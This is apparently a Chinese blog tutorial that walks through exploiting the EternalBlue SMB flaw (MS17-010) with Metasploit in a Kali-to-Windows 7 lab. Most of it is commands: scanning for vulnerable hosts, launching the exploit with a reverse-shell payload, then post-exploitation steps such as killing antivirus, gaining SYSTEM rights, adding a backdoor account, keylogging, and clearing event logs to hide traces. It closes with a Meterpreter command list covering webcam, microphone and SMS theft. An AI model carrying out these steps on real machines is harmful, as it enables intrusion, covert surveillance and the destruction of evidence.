Msf--永恒之蓝 ms17_010

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简介

一、概述

永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。

二、影响

2017年5月12日，不法分子通>过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。

0.环境

• 虚拟机(攻) KaliLinux
• 虚拟机(靶机) Windows7
• 同一局域网下

1.查询ip

ifconfig

Kali:192.168.43.149

ipconfig

Win7:192.168.43.82

2.打开metasploit工具

msfconsole

进入metasploit框架

3.搜询永恒之蓝漏洞

search ms17-010

4.使用辅助模块(非必要)

查看漏洞所需要配置。扫描存在此漏洞的主机，或判断指定主机是否存在该漏洞。

• 1.使用辅助模块
  
  use auxiliary/scanner/smb/smb_ms17_010
• 2.查看漏洞需要的配置
  
  show options
  
  
  
  可见该漏洞是需要主机开放445端口，且利用的是SMB服务进行攻击的。
• 3.探测某ip范围内是有否存在该漏洞的主机
  
  set RHOST 192.168.43.80-192.168.43.180

exploit
  
  

图中带[+]符号表示该主机192.168.43.82存在此漏洞（正是我们的靶机Windows7）。

5.使用漏洞模块

use exploit/windows/smb/ms17_010_eternalblue

1.查看漏洞针对的系统、版本等

show targes



2.查看攻击载荷payloads

show payloads



3.查看漏洞的详细(全部)信息

info

6.设置参数

查看需要设置的参数

show options

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

攻击靶机

set rhost 192.168.43.82

监听端

set lhost 192.168.43.149

监听端口（不设置默认为4444）

set lport xxxx

运行

exploit/run

显示meterpreter>说明攻击成功

7.演示 (后渗透阶段)

1).来次优雅的攻击

• 进入win7终端

shell

• 打开计算器

calc

• 退出

exit

2).常用命令

• 查看主机信息

sysinfo

• 查看主机是否运行在虚拟机上

run post/windows/gather/checkvm

当然我们用的为虚拟机win7。真实环境下防止连接的为虚拟机，调虎离山。（？蜜罐）

• 关闭杀毒软件

run killav

• 文件操作(同linux）

pwd
cd
mkdir
rmdir
rm
mv
cat
ls
edit

• 提升到系统权限

getsystem

• 查看主机安装了那些应用

run post/windows/gather/enum_applications

• 截屏

screenshot

3).其它命令

• 创建新的用户

run getgui -u hack2 -p 123456

• 查看当前进程

getpid

• 查看所有进程

ps

• 关闭进程

kill pid

• 绑定进程

migrate pid

• 记录键盘（通常需要绑定进程后）

开始 keyscan_start
显示 keyscan_dump
结束 keyscan_stop

    禁用(允许)键盘 uictl  disable (enable) keyboard
    禁用(允许)鼠标 uictl  disable (enable) mouse

4）.最后别忘清理操作日志文件擦屁股哈哈哈

clearev

8.全部命令

翻译见 |>>>Msf---控制 Android手机<<<|

Stdapi: File system Commands
============================
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory
Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table
Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
    Command       Description
    -------       -----------
    screenshare   Watch the remote user's desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
=======================
    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system
Android Commands
================
    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information
Application Controller Commands
===============================
    Command        Description
    -------        -----------
    app_install    Request to install apk file
    app_list       List installed apps in the device
    app_run        Start Main Activty for package name
    app_uninstall  Request to uninstall application